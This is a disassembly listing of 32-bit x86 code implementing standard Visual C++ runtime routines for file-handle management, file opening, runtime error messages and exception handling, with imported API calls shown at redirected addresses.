--------------------------------------------------------------------------- loc_423C58: ; CODE XREF: ___:00423C51j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423C62: ; CODE XREF: ___:00423C56j push eax call near ptr 262083Fh nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423C87 push edi nop call near ptr 2620000h test eax, eax jz short loc_423C87 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423C8D loc_423C87: ; CODE XREF: ___:00423C6Ej ; ___:00423C79j or byte ptr [esi+4], 40h jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C8D: ; CODE XREF: ___:00423C85j cmp eax, 3 jnz short loc_423C9C or byte ptr [esi+4], 8 jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C98: ; CODE XREF: ___:00423C49j or byte ptr [esi+4], 80h loc_423C9C: ; CODE XREF: ___:00423C8Bj ; ___:00423C90j ... inc ebx cmp ebx, 3 jl short loc_423C3D push dword_4DD140 nop call near ptr 2620A48h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao ; sub_422A2C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423D60 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423CF3: ; CODE XREF: sub_423CC0+90j cmp esi, 0FFFFFFFFh jz short loc_423D59 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423D47 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423D47 js short loc_423D52 mov edi, [ebx+8] push ebx call sub_41D550 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D592 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D626 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423D47: ; CODE XREF: sub_423CC0+40j ; sub_423CC0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423CF3 ; --------------------------------------------------------------------------- loc_423D52: ; CODE XREF: sub_423CC0+54j mov eax, 0 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423CC0+36j mov eax, 1 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D60: ; CODE XREF: sub_423CC0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D592 add esp, 8 pop ebp mov eax, 1 loc_423D75: ; CODE XREF: sub_423CC0+97j ; sub_423CC0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CC0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D592 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p mov eax, dword_4DBE3C cmp eax, 1 jz short loc_423DAF test eax, eax jnz short locret_423DD0 cmp dword_43AE44, 1 jnz short locret_423DD0 loc_423DAF: ; CODE XREF: sub_423D98+8j push 0FCh call sub_423DD1 mov eax, dword_4DBFA8 pop ecx test eax, eax jz short loc_423DC5 call eax loc_423DC5: ; CODE XREF: sub_423D98+29j push 0FFh call sub_423DD1 pop ecx locret_423DD0: ; CODE XREF: sub_423D98+Cj ; sub_423D98+15j retn sub_423D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p ; sub_423D98+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D4D8 loc_423DE4: ; CODE XREF: sub_423DD1+20j cmp edx, [eax] jz short loc_423DF3 add eax, 8 inc ecx cmp eax, offset off_43D568 jl short loc_423DE4 loc_423DF3: ; CODE XREF: sub_423DD1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D4D8[esi] jnz loc_423F21 mov eax, dword_4DBE3C cmp eax, 1 jz loc_423EFB test eax, eax jnz short loc_423E24 cmp dword_43AE44, 1 jz loc_423EFB loc_423E24: ; CODE XREF: sub_423DD1+44j cmp edx, 0FCh jz loc_423F21 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2680000h test eax, eax jnz short loc_423E5B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C890 pop ecx pop ecx loc_423E5B: ; CODE XREF: sub_423DD1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B9C0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423E9E lea eax, [ebp+var_1A4] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BFD0 add esp, 10h loc_423E9E: ; CODE XREF: sub_423DD1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C890 lea eax, [ebp+var_A0] push edi push eax call sub_41C8A0 lea eax, [ebp+var_A0] push offset asc_427BF0 ; "\n\n" push eax call sub_41C8A0 push off_43D4DC[esi] lea eax, [ebp+var_A0] push eax call sub_41C8A0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425029 add esp, 2Ch pop edi jmp short loc_423F21 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423DD1+3Cj ; sub_423DD1+4Dj lea eax, [ebp+arg_0] lea esi, off_43D4DC[esi] push 0 push eax push dword ptr [esi] call sub_41B9C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 262083Fh nop push eax call near ptr 2710000h nop loc_423F21: ; CODE XREF: sub_423DD1+2Ej ; sub_423DD1+59j ... pop esi leave retn sub_423DD1 endp ; =============== S U B R O U T I N E ======================================= sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DD040 loc_423F33: ; CODE XREF: sub_423F24+48j mov eax, [ecx] test eax, eax jz short loc_423F70 lea edx, [eax+100h] loc_423F3F: ; CODE XREF: sub_423F24+28j cmp eax, edx jnb short loc_423F5F test byte ptr [eax+4], 1 jz short loc_423F4E add eax, 8 jmp short loc_423F3F ; --------------------------------------------------------------------------- loc_423F4E: ; CODE XREF: sub_423F24+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423FB3 loc_423F5F: ; CODE XREF: sub_423F24+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DD140 jl short loc_423F33 jmp short loc_423FB3 ; --------------------------------------------------------------------------- loc_423F70: ; CODE XREF: sub_423F24+13j mov esi, 100h push esi call sub_41BEB5 test eax, eax pop ecx jz short loc_423FB3 add dword_4DD140, 20h lea ecx, ds:4DD040h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423F96: ; CODE XREF: sub_423F24+88j cmp eax, edx jnb short loc_423FAE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423F96 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F24+74j shl edi, 5 mov ebx, edi loc_423FB3: ; CODE XREF: sub_423F24+39j ; sub_423F24+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423F24 endp ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 push edi jnb short loc_424019 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_424019 cmp dword_43AE44, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42400F sub eax, 0 jz short loc_424006 dec eax jz short loc_424001 dec eax jnz short loc_42400F push ebx push 0FFFFFFF4h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FB9+3Ej push ebx push 0FFFFFFF5h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424006: ; CODE XREF: sub_423FB9+3Bj push ebx push 0FFFFFFF6h loc_424009: ; CODE XREF: sub_423FB9+46j ; sub_423FB9+4Bj nop call near ptr 2610CE9h loc_42400F: ; CODE XREF: sub_423FB9+36j ; sub_423FB9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42402D ; --------------------------------------------------------------------------- loc_424019: ; CODE XREF: sub_423FB9+Cj ; sub_423FB9+28j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_42402D: ; CODE XREF: sub_423FB9+5Ej pop edi pop esi retn sub_423FB9 endp ; =============== S U B R O U T I N E ======================================= sub_424030 proc near ; CODE XREF: sub_41E312+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DD140 push edi jnb short loc_424093 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DD040h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_424093 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_424093 cmp dword_43AE44, 1 jnz short loc_424089 xor eax, eax sub ecx, eax jz short loc_424080 dec ecx jz short loc_42407B dec ecx jnz short loc_424089 push eax push 0FFFFFFF4h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_42407B: ; CODE XREF: sub_424030+41j push eax push 0FFFFFFF5h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_424030+3Ej push eax push 0FFFFFFF6h loc_424083: ; CODE XREF: sub_424030+49j ; sub_424030+4Ej nop call near ptr 2610CE9h loc_424089: ; CODE XREF: sub_424030+38j ; sub_424030+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4240A7 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_424030+Cj ; sub_424030+2Aj ... and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_4240A7: ; CODE XREF: sub_424030+61j pop edi pop esi retn sub_424030 endp ; =============== S U B R O U T I N E ======================================= sub_4240AA proc near ; CODE XREF: sub_41E312+32p ; sub_41E312+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_4240D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4240D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_4240AA+Aj ; sub_4240AA+23j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh retn sub_4240AA endp ; =============== S U B R O U T I N E ======================================= sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_424130 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_424130 push eax call sub_4240AA pop ecx push eax nop call near ptr 2610802h test eax, eax jnz short loc_424125 nop call near ptr 26908B8h jmp short loc_424127 ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240E7+34j xor eax, eax loc_424127: ; CODE XREF: sub_4240E7+3Cj test eax, eax jz short locret_42413D mov dword_4DBDE0, eax loc_424130: ; CODE XREF: sub_4240E7+Aj ; sub_4240E7+22j mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh locret_42413D: ; CODE XREF: sub_4240E7+42j retn sub_4240E7 endp ; =============== S U B R O U T I N E ======================================= sub_42413E proc near ; DATA XREF: ___:00429020o mov eax, dword_4DD020 push esi push 14h test eax, eax pop esi jnz short loc_424152 mov eax, 200h jmp short loc_424158 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42413E+Bj cmp eax, esi jge short loc_42415D mov eax, esi loc_424158: ; CODE XREF: sub_42413E+12j mov dword_4DD020, eax loc_42415D: ; CODE XREF: sub_42413E+16j push 4 push eax call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 4 push esi mov dword_4DD020, esi call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 1Ah call sub_41E2C9 pop ecx loc_424191: ; CODE XREF: sub_42413E+30j ; sub_42413E+49j xor ecx, ecx mov eax, offset off_43D568 loc_424198: ; CODE XREF: sub_42413E+6Ej mov edx, dword_4DC01C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D7E8 jl short loc_424198 xor edx, edx mov ecx, offset dword_43D578 loc_4241B5: ; CODE XREF: sub_42413E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DD040[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4241D2 test eax, eax jnz short loc_4241D5 loc_4241D2: ; CODE XREF: sub_42413E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4241D5: ; CODE XREF: sub_42413E+92j add ecx, 20h inc edx cmp ecx, offset dword_43D5D8 jl short loc_4241B5 pop esi retn sub_42413E endp ; =============== S U B R O U T I N E ======================================= sub_4241E3 proc near ; DATA XREF: ___:00429030o ; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES call sub_41E487 cmp byte_4DBE1C, 0 jz short locret_4241F6 jmp loc_425163 ; --------------------------------------------------------------------------- locret_4241F6: ; CODE XREF: sub_4241E3+Cj retn sub_4241E3 endp ; =============== S U B R O U T I N E ======================================= sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p ; sub_41FE2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBFAC push 1000h call sub_41BEB5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424220 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424231 ; --------------------------------------------------------------------------- loc_424220: ; CODE XREF: sub_4241F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424231: ; CODE XREF: sub_4241F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4241F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424261 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42426C ; --------------------------------------------------------------------------- loc_424261: ; CODE XREF: sub_42423B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42426C: ; CODE XREF: sub_42423B+24j mov eax, 8000h test ecx, eax jnz short loc_424286 test ch, 40h jnz short loc_424282 cmp dword_4DBFF8, eax jz short loc_424286 loc_424282: ; CODE XREF: sub_42423B+3Dj or [ebp+var_1], 80h loc_424286: ; CODE XREF: sub_42423B+38j ; sub_42423B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242BE dec eax jz short loc_4242B5 dec eax jz short loc_4242AC loc_424297: ; CODE XREF: sub_42423B+9Fj ; sub_42423B+E8j ... mov dword_4DBDDC, 16h mov dword_4DBDE0, ebx jmp loc_4244D1 ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_42423B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242B5: ; CODE XREF: sub_42423B+57j mov [ebp+var_C], 40000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242BE: ; CODE XREF: sub_42423B+54j mov [ebp+var_C], 80000000h loc_4242C5: ; CODE XREF: sub_42423B+78j ; sub_42423B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4242F3 cmp eax, 20h jz short loc_4242EA cmp eax, 30h jz short loc_4242E1 cmp eax, 40h jnz short loc_424297 mov [ebp+var_10], esi jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42423B+9Aj mov [ebp+var_10], 2 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242EA: ; CODE XREF: sub_42423B+95j mov [ebp+var_10], 1 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242F3: ; CODE XREF: sub_42423B+90j mov [ebp+var_10], ebx loc_4242F6: ; CODE XREF: sub_42423B+A4j ; sub_42423B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424340 jz short loc_42433B cmp ecx, ebx jz short loc_42433B cmp ecx, edi jz short loc_424332 cmp ecx, 200h jz short loc_424359 cmp ecx, 300h jnz loc_424297 mov [ebp+var_8], 2 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424332: ; CODE XREF: sub_42423B+D8j mov [ebp+var_8], 4 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_42433B: ; CODE XREF: sub_42423B+D0j ; sub_42423B+D4j mov [ebp+var_8], esi jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424340: ; CODE XREF: sub_42423B+CEj cmp ecx, 500h jz short loc_424362 cmp ecx, 600h jz short loc_424359 cmp ecx, edx jz short loc_424362 jmp loc_424297 ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_42423B+E0j ; sub_42423B+113j mov [ebp+var_8], 5 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_42423B+10Bj ; sub_42423B+117j mov [ebp+var_8], 1 loc_424369: ; CODE XREF: sub_42423B+F5j ; sub_42423B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424388 mov ecx, dword_4DBDE4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424388 push 1 pop esi loc_424388: ; CODE XREF: sub_42423B+138j ; sub_42423B+148j test al, 40h jz short loc_424396 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424396: ; CODE XREF: sub_42423B+14Fj test ah, 10h jz short loc_42439D or esi, edi loc_42439D: ; CODE XREF: sub_42423B+15Ej test al, 20h jz short loc_4243A9 or esi, 8000000h jmp short loc_4243B3 ; --------------------------------------------------------------------------- loc_4243A9: ; CODE XREF: sub_42423B+164j test al, 10h jz short loc_4243B3 or esi, 10000000h loc_4243B3: ; CODE XREF: sub_42423B+16Cj ; sub_42423B+170j call sub_423F24 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243D4 and dword_4DBDE0, 0 mov dword_4DBDDC, 18h jmp short loc_424412 ; --------------------------------------------------------------------------- loc_4243D4: ; CODE XREF: sub_42423B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27207BBh mov esi, eax cmp esi, edi jz short loc_424405 push esi nop call near ptr 2620000h test eax, eax jnz short loc_424419 push esi nop call near ptr 2670000h loc_424405: ; CODE XREF: sub_42423B+1B6j call near ptr 26908B8h nop push eax call sub_420C7F pop ecx loc_424412: ; CODE XREF: sub_42423B+197j mov eax, edi jmp loc_4244EF ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_42423B+1C1j cmp eax, 2 jnz short loc_424424 or [ebp+var_1], 40h jmp short loc_42442D ; --------------------------------------------------------------------------- loc_424424: ; CODE XREF: sub_42423B+1E1j cmp eax, 3 jnz short loc_42442D or [ebp+var_1], 8 loc_42442D: ; CODE XREF: sub_42423B+1E7j ; sub_42423B+1ECj push esi push ebx call sub_423FB9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244D6 test al, 80h jz short loc_4244D6 test byte ptr [ebp+arg_4], 2 jz short loc_4244D6 push 2 push 0FFFFFFFFh push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42448B cmp dword_4DBDE0, 83h jz short loc_4244D6 jmp short loc_4244CA ; --------------------------------------------------------------------------- loc_42448B: ; CODE XREF: sub_42423B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F9BC add esp, 0Ch test eax, eax jnz short loc_4244B8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244B8 push [ebp+var_10] push ebx call sub_4251BB pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244CA loc_4244B8: ; CODE XREF: sub_42423B+265j ; sub_42423B+26Bj push 0 push 0 push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244D6 loc_4244CA: ; CODE XREF: sub_42423B+24Ej ; sub_42423B+27Bj push ebx call sub_41E312 pop ecx loc_4244D1: ; CODE XREF: sub_42423B+6Cj or eax, 0FFFFFFFFh jmp short loc_4244EF ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_42423B+221j ; sub_42423B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4244ED test byte ptr [ebp+arg_4], 8 jz short loc_4244ED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4244ED: ; CODE XREF: sub_42423B+29Fj ; sub_42423B+2A5j mov eax, ebx loc_4244EF: ; CODE XREF: sub_42423B+1D9j ; sub_42423B+299j pop edi pop esi pop ebx leave retn sub_42423B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep ; sub_420988+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBFB4 xor ebx, ebx cmp eax, ebx jnz short loc_424563 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2600532h test eax, eax jz short loc_424541 mov eax, esi jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_4244F4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push ebx nop call near ptr 2610000h test eax, eax jz loc_424629 push 2 pop eax loc_42455E: ; CODE XREF: sub_4244F4+4Bj mov dword_4DBFB4, eax loc_424563: ; CODE XREF: sub_4244F4+2Fj cmp eax, 2 jnz short loc_42458C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424574 mov eax, dword_4DBE84 loc_424574: ; CODE XREF: sub_4244F4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2610000h nop jmp loc_42462B ; --------------------------------------------------------------------------- loc_42458C: ; CODE XREF: sub_4244F4+72j cmp eax, 1 jnz loc_424629 cmp [ebp+arg_10], ebx jnz short loc_4245A2 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_4245A2: ; CODE XREF: sub_4244F4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2700000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_424629 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BF70 add esp, 0Ch jmp short loc_4245F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4245F8: ; CODE XREF: sub_4244F4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_424629 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2700000h nop cmp eax, ebx jz short loc_424629 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 2600532h nop jmp short loc_42462B ; --------------------------------------------------------------------------- loc_424629: ; CODE XREF: sub_4244F4+61j ; sub_4244F4+9Bj ... xor eax, eax loc_42462B: ; CODE XREF: sub_4244F4+93j ; sub_4244F4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4244F4 endp ; =============== S U B R O U T I N E ======================================= sub_42463D proc near ; CODE XREF: sub_41FE2A+61p ; sub_420CE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jb short loc_42464C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_42463D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_42463D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p ; sub_41FF3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42466F pop ebp retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424663+8j cmp dword_4DBE84, 0 jnz short loc_42468A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246BC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: sub_424663+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43D084 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBE94 call near ptr 2831022h nop test eax, eax jz short loc_4246BC cmp [ebp+arg_0], 0 jz short loc_4246C9 loc_4246BC: ; CODE XREF: sub_424663+1Ej ; sub_424663+51j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh loc_4246C9: ; CODE XREF: sub_424663+57j pop ebp retn sub_424663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4246EE cmp [ebp+arg_8], ebx jz short loc_4246EE mov al, [esi] cmp al, bl jnz short loc_4246F4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4246EE mov [eax], bx loc_4246EE: ; CODE XREF: sub_4246CB+Cj ; sub_4246CB+11j ... xor eax, eax loc_4246F0: ; CODE XREF: sub_4246CB+42j ; sub_4246CB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4246F4: ; CODE XREF: sub_4246CB+17j cmp dword_4DBE84, ebx jnz short loc_42470F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42470A movzx ax, al mov [ecx], ax loc_42470A: ; CODE XREF: sub_4246CB+36j ; sub_4246CB+C0j push 1 pop eax jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42470F: ; CODE XREF: sub_4246CB+2Fj mov ecx, off_43CE78 movzx eax, al test byte ptr [ecx+eax*2+1], 